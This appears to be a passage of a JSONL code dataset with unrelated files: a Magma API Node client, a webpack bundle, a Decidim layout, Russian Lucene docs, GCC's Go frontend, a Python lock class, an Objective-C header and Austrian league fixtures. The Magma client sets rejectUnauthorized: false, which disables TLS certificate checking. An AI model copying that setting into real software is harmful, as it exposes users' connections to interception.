implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * @flow\n * @format\n */\n\nimport MagmaAPIBindings from '@fbcnms/magma-api';\nimport axios from 'axios';\nimport https from 'https';\nimport nullthrows from '@fbcnms/util/nullthrows';\nimport {API_HOST, apiCredentials} from '@fbcnms/platform-server/config';\n\nconst httpsAgent = new https.Agent({\n cert: apiCredentials().cert,\n key: apiCredentials().key,\n rejectUnauthorized: false,\n});\n\nfunction apiUrl(): string {\n return !/^https?\\:\\/\\//.test(nullthrows(API_HOST))\n ? `https://${nullthrows(API_HOST)}/magma/v1`\n : `${nullthrows(API_HOST)}/magma/v1`;\n}\n\nexport default class NodeClient extends MagmaAPIBindings {\n static async request(\n path: string,\n method: 'POST' | 'GET' | 'PUT' | 'DELETE' | 'OPTIONS' | 'HEAD' | 'PATCH',\n query: {[string]: mixed},\n // eslint-disable-next-line flowtype/no-weak-types\n body?: any,\n ) {\n const response = await axios({\n baseURL: apiUrl(),\n url: path,\n method: (method: string),\n params: query,\n data: body,\n headers: {'content-type': 'application/json'},\n httpsAgent,\n });\n\n return response.data;\n }\n}\n"} +{"text": "/******/ (function(modules) { // webpackBootstrap\n/******/ \t// The module cache\n/******/ \tvar installedModules = {};\n/******/\n/******/ \t// The require function\n/******/ \tfunction __webpack_require__(moduleId) {\n/******/\n/******/ \t\t// Check if module is in cache\n/******/ \t\tif(installedModules[moduleId]) {\n/******/ \t\t\treturn installedModules[moduleId].exports;\n/******/ \t\t}\n/******/ \t\t// Create a new module (and put it into the cache)\n/******/ \t\tvar module = installedModules[moduleId] = {\n/******/ \t\t\ti: moduleId,\n/******/ \t\t\tl: false,\n/******/ \t\t\texports: {}\n/******/ \t\t};\n/******/\n/******/ \t\t// Execute the module function\n/******/ \t\tmodules[moduleId].call(module.exports, module, module.exports, __webpack_require__);\n/******/\n/******/ \t\t// Flag the module as loaded\n/******/ \t\tmodule.l = true;\n/******/\n/******/ \t\t// Return the exports of the module\n/******/ \t\treturn module.exports;\n/******/ \t}\n/******/\n/******/\n/******/ \t// expose the modules object (__webpack_modules__)\n/******/ \t__webpack_require__.m = modules;\n/******/\n/******/ \t// expose the module cache\n/******/ \t__webpack_require__.c = installedModules;\n/******/\n/******/ \t// define getter function for harmony exports\n/******/ \t__webpack_require__.d = function(exports, name, getter) {\n/******/ \t\tif(!__webpack_require__.o(exports, name)) {\n/******/ \t\t\tObject.defineProperty(exports, name, { enumerable: true, get: getter });\n/******/ \t\t}\n/******/ \t};\n/******/\n/******/ \t// define __esModule on exports\n/******/ \t__webpack_require__.r = function(exports) {\n/******/ \t\tif(typeof Symbol !== 'undefined' && Symbol.toStringTag) {\n/******/ \t\t\tObject.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });\n/******/ \t\t}\n/******/ \t\tObject.defineProperty(exports, '__esModule', { value: true });\n/******/ \t};\n/******/\n/******/ \t// create a fake namespace object\n/******/ \t// mode & 1: value is a module id, require it\n/******/ \t// mode & 2: merge all properties of value into the ns\n/******/ \t// mode & 4: return value when already ns object\n/******/ \t// mode & 8|1: behave like require\n/******/ \t__webpack_require__.t = function(value, mode) {\n/******/ \t\tif(mode & 1) value = __webpack_require__(value);\n/******/ \t\tif(mode & 8) return value;\n/******/ \t\tif((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;\n/******/ \t\tvar ns = Object.create(null);\n/******/ \t\t__webpack_require__.r(ns);\n/******/ \t\tObject.defineProperty(ns, 'default', { enumerable: true, value: value });\n/******/ \t\tif(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));\n/******/ \t\treturn ns;\n/******/ \t};\n/******/\n/******/ \t// getDefaultExport function for compatibility with non-harmony modules\n/******/ \t__webpack_require__.n = function(module) {\n/******/ \t\tvar getter = module && module.__esModule ?\n/******/ \t\t\tfunction getDefault() { return module['default']; } :\n/******/ \t\t\tfunction getModuleExports() { return module; };\n/******/ \t\t__webpack_require__.d(getter, 'a', getter);\n/******/ \t\treturn getter;\n/******/ \t};\n/******/\n/******/ \t// Object.prototype.hasOwnProperty.call\n/******/ \t__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };\n/******/\n/******/ \t// __webpack_public_path__\n/******/ \t__webpack_require__.p = \"\";\n/******/\n/******/\n/******/ \t// Load entry module and return exports\n/******/ \treturn __webpack_require__(__webpack_require__.s = \"./app.ts\");\n/******/ })\n/************************************************************************/\n/******/ ({\n\n/***/ \"./app.ts\":\n/*!****************!*\\\n !*** ./app.ts ***!\n \\****************/\n/*! no static exports found */\n/***/ (function(module, exports) {\n\neval(\"var message = \\\"HELLO FROM ME!\\\";\\nconsole.log(message);\\n\\n\\n//# sourceURL=webpack:///./app.ts?\");\n\n/***/ })\n\n/******/ });"} +{"text": "<% add_decidim_meta_tags({\n description: strip_tags(translated_attribute(current_organization.description)),\n title: current_organization.name,\n url: request.original_url,\n twitter_handler: current_organization.twitter_handler,\n image_url: Decidim::ContentBlock.published.find_by(\n organization: current_organization,\n scope_name: :homepage,\n manifest_name: :hero\n ).try(:images_container).try(:background_image).try(:url)\n}) %>\n\n\n\" class=\"no-js\">\n \n <%= decidim_page_title %>\n <%= render partial: \"layouts/decidim/head\" %>\n \n\n \n <%= render partial: \"layouts/decidim/impersonation_warning\" %>\n <%= render partial: \"layouts/decidim/cookie_warning\" %>\n <%= render partial: \"layouts/decidim/omnipresent_banner\" %>\n\n <%= render \"layouts/decidim/wrapper\" do %>\n <%= yield %>\n <% end %>\n\n <%= render partial: \"decidim/shared/confirm_modal\" %>\n <%= render partial: \"decidim/shared/login_modal\" unless current_user %>\n <%= render partial: \"decidim/shared/authorization_modal\" %>\n <%= render partial: \"layouts/decidim/js_configuration\" %>\n \n\n"} +{"text": "\n Взаимодействие с Java Lucene<!--Interoperating with Java Lucene-->\n\n \n Форматы файлов<!--File Formats-->\n \n Форматы файлов индекса Zend_Search_Lucene являются совместимыми с Lucene\n версии 1.4 и выше.\n\n \n\n \n Подробное описание этого формата можно прочитать здесь:\n\n .\n \n \n\n \n Директория для индекса<!--Index Directory-->\n\n \n После создания индекса директория для индекса будет содержать несколько файлов:\n\n \n\n \n \n \n файл segments является списком сегментов индекса.\n\n \n \n \n \n файлы *.cfs содержат сегменты индекса.\n Внимание! Оптимизированный индекс всегда имеет только один сегмент.\n\n \n \n \n \n файл deletable является списком файлов,\n которые больше не используются индексом, но которые нельзя было удалить.\n\n \n \n \n \n\n \n Исходный код Java<!--Java Source Code-->\n \n Приведенный ниже листинг программы на Java представляет собой пример\n того, как индексировать файл, используя Java Lucene:\n\n \n\n \n \n \n\n\n\n\n"} +{"text": "// go.cc -- Go frontend main file for gcc.\n\n// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n#include \"go-system.h\"\n\n#include \"go-c.h\"\n#include \"go-diagnostics.h\"\n\n#include \"lex.h\"\n#include \"parse.h\"\n#include \"backend.h\"\n#include \"gogo.h\"\n\n// The data structures we build to represent the file.\nstatic Gogo* gogo;\n\n// Create the main IR data structure.\n\nGO_EXTERN_C\nvoid\ngo_create_gogo(const struct go_create_gogo_args* args)\n{\n go_assert(::gogo == NULL);\n ::gogo = new Gogo(args->backend, args->linemap, args->int_type_size,\n\t\t args->pointer_size);\n\n if (args->pkgpath != NULL)\n ::gogo->set_pkgpath(args->pkgpath);\n else if (args->prefix != NULL)\n ::gogo->set_prefix(args->prefix);\n\n if (args->relative_import_path != NULL)\n ::gogo->set_relative_import_path(args->relative_import_path);\n ::gogo->set_check_divide_by_zero(args->check_divide_by_zero);\n ::gogo->set_check_divide_overflow(args->check_divide_overflow);\n if (args->compiling_runtime)\n ::gogo->set_compiling_runtime(args->compiling_runtime);\n if (args->c_header != NULL)\n ::gogo->set_c_header(args->c_header);\n ::gogo->set_debug_escape_level(args->debug_escape_level);\n if (args->debug_escape_hash != NULL)\n ::gogo->set_debug_escape_hash(args->debug_escape_hash);\n ::gogo->set_nil_check_size_threshold(args->nil_check_size_threshold);\n if (args->debug_optimization)\n ::gogo->set_debug_optimization(args->debug_optimization);\n if (args->need_eqtype)\n ::gogo->set_need_eqtype(args->need_eqtype);\n}\n\n// Parse the input files.\n\nGO_EXTERN_C\nvoid\ngo_parse_input_files(const char** filenames, unsigned int filename_count,\n\t\t bool only_check_syntax, bool)\n{\n go_assert(filename_count > 0);\n\n Lex::Linknames all_linknames;\n for (unsigned int i = 0; i < filename_count; ++i)\n {\n if (i > 0)\n\t::gogo->clear_file_scope();\n\n const char* filename = filenames[i];\n FILE* file;\n if (strcmp(filename, \"-\") == 0)\n\tfile = stdin;\n else\n\t{\n\t file = fopen(filename, \"r\");\n\t if (file == NULL)\n\t go_fatal_error(Linemap::unknown_location(),\n\t\t\t \"cannot open %s: %m\", filename);\n\t}\n\n Lex lexer(filename, file, ::gogo->linemap());\n\n Parse parse(&lexer, ::gogo);\n parse.program();\n\n if (strcmp(filename, \"-\") != 0)\n\tfclose(file);\n\n Lex::Linknames* linknames = lexer.get_and_clear_linknames();\n if (linknames != NULL)\n\t{\n\t if (!::gogo->current_file_imported_unsafe())\n\t {\n\t for (Lex::Linknames::const_iterator p = linknames->begin();\n\t\t p != linknames->end();\n\t\t ++p)\n\t\tgo_error_at(p->second.loc,\n\t\t\t (\"% only allowed in Go files that \"\n\t\t\t \"import \\\"unsafe\\\"\"));\n\t }\n\t all_linknames.insert(linknames->begin(), linknames->end());\n\t}\n }\n\n ::gogo->clear_file_scope();\n\n // If the global predeclared names are referenced but not defined,\n // define them now.\n ::gogo->define_global_names();\n\n // Apply any go:linkname directives.\n for (Lex::Linknames::const_iterator p = all_linknames.begin();\n p != all_linknames.end();\n ++p)\n ::gogo->add_linkname(p->first, p->second.is_exported, p->second.ext_name,\n\t\t\t p->second.loc);\n\n // Finalize method lists and build stub methods for named types.\n ::gogo->finalize_methods();\n\n // Check that functions have a terminating statement.\n ::gogo->check_return_statements();\n\n // Now that we have seen all the names, lower the parse tree into a\n // form which is easier to use.\n ::gogo->lower_parse_tree();\n\n // At this point we have handled all inline functions, so we no\n // longer need the linemap.\n ::gogo->linemap()->stop();\n\n // Create function descriptors as needed.\n ::gogo->create_function_descriptors();\n\n // Now that we have seen all the names, verify that types are\n // correct.\n ::gogo->verify_types();\n\n // Work out types of unspecified constants and variables.\n ::gogo->determine_types();\n\n // Check types and issue errors as appropriate.\n ::gogo->check_types();\n\n if (only_check_syntax)\n return;\n\n // Do simple deadcode elimination.\n ::gogo->remove_deadcode();\n\n // Make implicit type conversions explicit.\n ::gogo->add_conversions();\n\n // Analyze the program flow for escape information.\n ::gogo->analyze_escape();\n\n // Export global identifiers as appropriate.\n ::gogo->do_exports();\n\n // Use temporary variables to force order of evaluation.\n ::gogo->order_evaluations();\n\n // Turn short-cut operators (&&, ||) into explicit if statements.\n ::gogo->remove_shortcuts();\n\n // Convert named types to backend representation.\n ::gogo->convert_named_types();\n\n // Build thunks for functions which call recover.\n ::gogo->build_recover_thunks();\n\n // Convert complicated go and defer statements into simpler ones.\n ::gogo->simplify_thunk_statements();\n\n // Write out queued up functions for hash and comparison of types.\n ::gogo->write_specific_type_functions();\n\n // Add write barriers.\n ::gogo->add_write_barriers();\n\n // Flatten the parse tree.\n ::gogo->flatten();\n\n // Reclaim memory of escape analysis Nodes.\n ::gogo->reclaim_escape_nodes();\n\n // Dump ast, use filename[0] as the base name\n ::gogo->dump_ast(filenames[0]);\n}\n\n// Write out globals.\n\nGO_EXTERN_C\nvoid\ngo_write_globals()\n{\n return ::gogo->write_globals();\n}\n\n// Return the global IR structure. This is used by some of the\n// langhooks to pass to other code.\n\nGogo*\ngo_get_gogo()\n{\n return ::gogo;\n}\n"} +{"text": "from __future__ import absolute_import\n\nimport os\nimport time\n\nfrom . import (LockBase, NotLocked, NotMyLock, LockTimeout,\n AlreadyLocked)\n\n\nclass SymlinkLockFile(LockBase):\n \"\"\"Lock access to a file using symlink(2).\"\"\"\n\n def __init__(self, path, threaded=True, timeout=None):\n # super(SymlinkLockFile).__init(...)\n LockBase.__init__(self, path, threaded, timeout)\n # split it back!\n self.unique_name = os.path.split(self.unique_name)[1]\n\n def acquire(self, timeout=None):\n # Hopefully unnecessary for symlink.\n # try:\n # open(self.unique_name, \"wb\").close()\n # except IOError:\n # raise LockFailed(\"failed to create %s\" % self.unique_name)\n timeout = timeout if timeout is not None else self.timeout\n end_time = time.time()\n if timeout is not None and timeout > 0:\n end_time += timeout\n\n while True:\n # Try and create a symbolic link to it.\n try:\n os.symlink(self.unique_name, self.lock_file)\n except OSError:\n # Link creation failed. Maybe we've double-locked?\n if self.i_am_locking():\n # Linked to out unique name. Proceed.\n return\n else:\n # Otherwise the lock creation failed.\n if timeout is not None and time.time() > end_time:\n if timeout > 0:\n raise LockTimeout(\"Timeout waiting to acquire\"\n \" lock for %s\" %\n self.path)\n else:\n raise AlreadyLocked(\"%s is already locked\" %\n self.path)\n time.sleep(timeout / 10 if timeout is not None else 0.1)\n else:\n # Link creation succeeded. We're good to go.\n return\n\n def release(self):\n if not self.is_locked():\n raise NotLocked(\"%s is not locked\" % self.path)\n elif not self.i_am_locking():\n raise NotMyLock(\"%s is locked, but not by me\" % self.path)\n os.unlink(self.lock_file)\n\n def is_locked(self):\n return os.path.islink(self.lock_file)\n\n def i_am_locking(self):\n return (os.path.islink(self.lock_file)\n and os.readlink(self.lock_file) == self.unique_name)\n\n def break_lock(self):\n if os.path.islink(self.lock_file): # exists && link\n os.unlink(self.lock_file)\n"} +{"text": "//\n// BFMainViewController.h\n// Briefs\n//\n// Created by Rob Rhyne on 1/1/10.\n// Copyright Digital Arch Design, 2009-2010. See LICENSE file for details.\n//\n\n#import \"BFRemoteBriefViewController.h\"\n#import \"BFMainViewDefaultController.h\"\n\n// Display states for various start-up conditions\ntypedef enum {\n /** Start-up triggered by a brief:// or briefcast:// url */\n BFMainViewOpenedByURL = -2100,\n \n /** restarting the app, after it was interuppted while showing a brief */\n BFMainViewClosedWhilePlayingBrief = -2101,\n \n /** user has not entered any new briefs or briefcasts, encourage them */\n BFMainViewNoDataToDisplay = -2102,\n \n /** the default state, which presents recently opened briefs/briefcasts */\n BFMainViewDefaultState = -2103,\n \n /** first time the user opens the app, show welcome launch */\n BFMainViewFirstTimeOpened = -2104,\n \n} BFMainViewState;\n\n\n@interface BFMainViewController : UIViewController \n{\n IBOutlet UIView *openingView;\n IBOutlet UIView *menuView;\n IBOutlet UIView *backgroundView;\n \n BFMainViewState stateUponLaunch;\n \n // optional context ivars\n NSURL *urlLaunchWith;\n BFMainViewDefaultController *defaultController;\n}\n\n// Initialization\n- (id)initWithState:(BFMainViewState)state;\n- (id)initWithExternalURL:(NSURL *)url;\n\n// Menu Actions\n- (IBAction)browseYourBriefs;\n- (IBAction)browseYourBriefcasts;\n\n// url launchers\n- (void)shouldLaunchBrief:(id)sender atURL:(NSString *)url;\n\n@end\n"} +{"text": "{\n \"name\": \"2. Liga 2020/21\",\n \"matches\": [\n {\n \"round\": \"1. Runde\",\n \"date\": \"2020-09-11\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"FC Blau-Weiß Linz\",\n \"score\": {\n \"ft\": [\n 3,\n 1\n ]\n }\n },\n {\n \"round\": \"1. Runde\",\n \"date\": \"2020-09-11\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"SV Horn\",\n \"score\": {\n \"ft\": [\n 1,\n 1\n ]\n }\n },\n {\n \"round\": \"1. Runde\",\n \"date\": \"2020-09-11\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"SV Lafnitz\",\n \"score\": {\n \"ft\": [\n 1,\n 2\n ]\n }\n },\n {\n \"round\": \"1. Runde\",\n \"date\": \"2020-09-11\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"FC Wacker Innsbruck\",\n \"score\": {\n \"ft\": [\n 0,\n 3\n ]\n }\n },\n {\n \"round\": \"1. Runde\",\n \"date\": \"2020-09-12\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"Young Violets Austria Wien\",\n \"score\": {\n \"ft\": [\n 1,\n 1\n ]\n }\n },\n {\n \"round\": \"1. Runde\",\n \"date\": \"2020-09-12\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"FC Dornbirn 1913\",\n \"score\": {\n \"ft\": [\n 0,\n 1\n ]\n }\n },\n {\n \"round\": \"1. Runde\",\n \"date\": \"2020-09-13\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"SK Vorwärts Steyr\",\n \"score\": {\n \"ft\": [\n 2,\n 2\n ]\n }\n },\n {\n \"round\": \"1. Runde\",\n \"date\": \"2020-09-13\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"SK Rapid Wien II\",\n \"score\": {\n \"ft\": [\n 3,\n 0\n ]\n }\n },\n {\n \"round\": \"2. Runde\",\n \"date\": \"2020-09-18\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"2. Runde\",\n \"date\": \"2020-09-18\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"2. Runde\",\n \"date\": \"2020-09-18\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"2. Runde\",\n \"date\": \"2020-09-18\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"2. Runde\",\n \"date\": \"2020-09-18\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"2. Runde\",\n \"date\": \"2020-09-18\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"2. Runde\",\n \"date\": \"2020-09-19\",\n \"team1\": \"SV Horn\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"2. Runde\",\n \"date\": \"2020-09-20\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"3. Runde\",\n \"date\": \"2020-09-25\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"3. Runde\",\n \"date\": \"2020-09-25\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"3. Runde\",\n \"date\": \"2020-09-25\",\n \"team1\": \"SV Horn\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"3. Runde\",\n \"date\": \"2020-09-25\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"3. Runde\",\n \"date\": \"2020-09-25\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"3. Runde\",\n \"date\": \"2020-09-26\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"3. Runde\",\n \"date\": \"2020-09-26\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"3. Runde\",\n \"date\": \"2020-09-27\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"4. Runde\",\n \"date\": \"2020-09-29\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"4. Runde\",\n \"date\": \"2020-09-29\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"4. Runde\",\n \"date\": \"2020-09-29\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"4. Runde\",\n \"date\": \"2020-09-29\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"4. Runde\",\n \"date\": \"2020-09-29\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"4. Runde\",\n \"date\": \"2020-09-29\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"4. Runde\",\n \"date\": \"2020-09-30\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"4. Runde\",\n \"date\": \"2020-09-30\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"5. Runde\",\n \"date\": \"2020-10-02\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"5. Runde\",\n \"date\": \"2020-10-02\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"5. Runde\",\n \"date\": \"2020-10-02\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"5. Runde\",\n \"date\": \"2020-10-02\",\n \"team1\": \"SV Horn\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"5. Runde\",\n \"date\": \"2020-10-02\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"5. Runde\",\n \"date\": \"2020-10-02\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"5. Runde\",\n \"date\": \"2020-10-03\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"5. Runde\",\n \"date\": \"2020-10-03\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"6. Runde\",\n \"date\": \"2020-10-23\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"6. Runde\",\n \"date\": \"2020-10-23\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"6. Runde\",\n \"date\": \"2020-10-23\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"6. Runde\",\n \"date\": \"2020-10-23\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"6. Runde\",\n \"date\": \"2020-10-23\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"6. Runde\",\n \"date\": \"2020-10-23\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"6. Runde\",\n \"date\": \"2020-10-23\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"6. Runde\",\n \"date\": \"2020-10-23\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"7. Runde\",\n \"date\": \"2020-10-26\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"7. Runde\",\n \"date\": \"2020-10-26\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"7. Runde\",\n \"date\": \"2020-10-26\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"7. Runde\",\n \"date\": \"2020-10-26\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"7. Runde\",\n \"date\": \"2020-10-26\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"7. Runde\",\n \"date\": \"2020-10-26\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"7. Runde\",\n \"date\": \"2020-10-26\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"7. Runde\",\n \"date\": \"2020-10-26\",\n \"team1\": \"SV Horn\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"8. Runde\",\n \"date\": \"2020-10-30\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"8. Runde\",\n \"date\": \"2020-10-30\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"8. Runde\",\n \"date\": \"2020-10-30\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"8. Runde\",\n \"date\": \"2020-10-30\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"8. Runde\",\n \"date\": \"2020-10-30\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"8. Runde\",\n \"date\": \"2020-10-30\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"8. Runde\",\n \"date\": \"2020-10-31\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"8. Runde\",\n \"date\": \"2020-10-31\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"FC Liefering\"\n },\n {\n \"round\": \"9. Runde\",\n \"date\": \"2020-11-06\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"9. Runde\",\n \"date\": \"2020-11-06\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"9. Runde\",\n \"date\": \"2020-11-06\",\n \"team1\": \"SV Horn\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"9. Runde\",\n \"date\": \"2020-11-06\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"9. Runde\",\n \"date\": \"2020-11-06\",\n \"team1\": \"Grazer AK\",\n \"team2\": \"Austria Klagenfurt\"\n },\n {\n \"round\": \"9. Runde\",\n \"date\": \"2020-11-06\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"9. Runde\",\n \"date\": \"2020-11-07\",\n \"team1\": \"FC Dornbirn 1913\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"9. Runde\",\n \"date\": \"2020-11-08\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"10. Runde\",\n \"date\": \"2020-11-20\",\n \"team1\": \"FC Liefering\",\n \"team2\": \"Kapfenberger SV\"\n },\n {\n \"round\": \"10. Runde\",\n \"date\": \"2020-11-20\",\n \"team1\": \"SKU Amstetten\",\n \"team2\": \"Young Violets Austria Wien\"\n },\n {\n \"round\": \"10. Runde\",\n \"date\": \"2020-11-20\",\n \"team1\": \"SV Lafnitz\",\n \"team2\": \"SK Vorwärts Steyr\"\n },\n {\n \"round\": \"10. Runde\",\n \"date\": \"2020-11-20\",\n \"team1\": \"FC Blau-Weiß Linz\",\n \"team2\": \"SV Horn\"\n },\n {\n \"round\": \"10. Runde\",\n \"date\": \"2020-11-20\",\n \"team1\": \"Austria Lustenau\",\n \"team2\": \"Floridsdorfer AC\"\n },\n {\n \"round\": \"10. Runde\",\n \"date\": \"2020-11-20\",\n \"team1\": \"SK Rapid Wien II\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"10. Runde\",\n \"date\": \"2020-11-21\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"FC Wacker Innsbruck\"\n },\n {\n \"round\": \"10. Runde\",\n \"date\": \"2020-11-21\",\n \"team1\": \"FC Juniors OÖ\",\n \"team2\": \"FC Dornbirn 1913\"\n },\n {\n \"round\": \"11. Runde\",\n \"date\": \"2020-11-27\",\n \"team1\": \"Young Violets Austria Wien\",\n \"team2\": \"SV Lafnitz\"\n },\n {\n \"round\": \"11. Runde\",\n \"date\": \"2020-11-27\",\n \"team1\": \"SV Horn\",\n \"team2\": \"Grazer AK\"\n },\n {\n \"round\": \"11. Runde\",\n \"date\": \"2020-11-27\",\n \"team1\": \"Floridsdorfer AC\",\n \"team2\": \"FC Blau-Weiß Linz\"\n },\n {\n \"round\": \"11. Runde\",\n \"date\": \"2020-11-27\",\n \"team1\": \"Kapfenberger SV\",\n \"team2\": \"SKU Amstetten\"\n },\n {\n \"round\": \"11. Runde\",\n \"date\": \"2020-11-28\",\n \"team1\": \"Austria Klagenfurt\",\n \"team2\": \"Austria Lustenau\"\n },\n {\n \"round\": \"11. Runde\",\n \"date\": \"2020-11-28\",\n \"team1\": \"FC Wacker Innsbruck\",\n \"team2\": \"SK Rapid Wien II\"\n },\n {\n \"round\": \"11. Runde\",\n \"date\": \"2020-11-28\",\n \"team1\": \"SK Vorwärts Steyr\",\n \"team2\": \"FC Juniors OÖ\"\n },\n {\n \"round\": \"11. Runde\",\n \"date\": 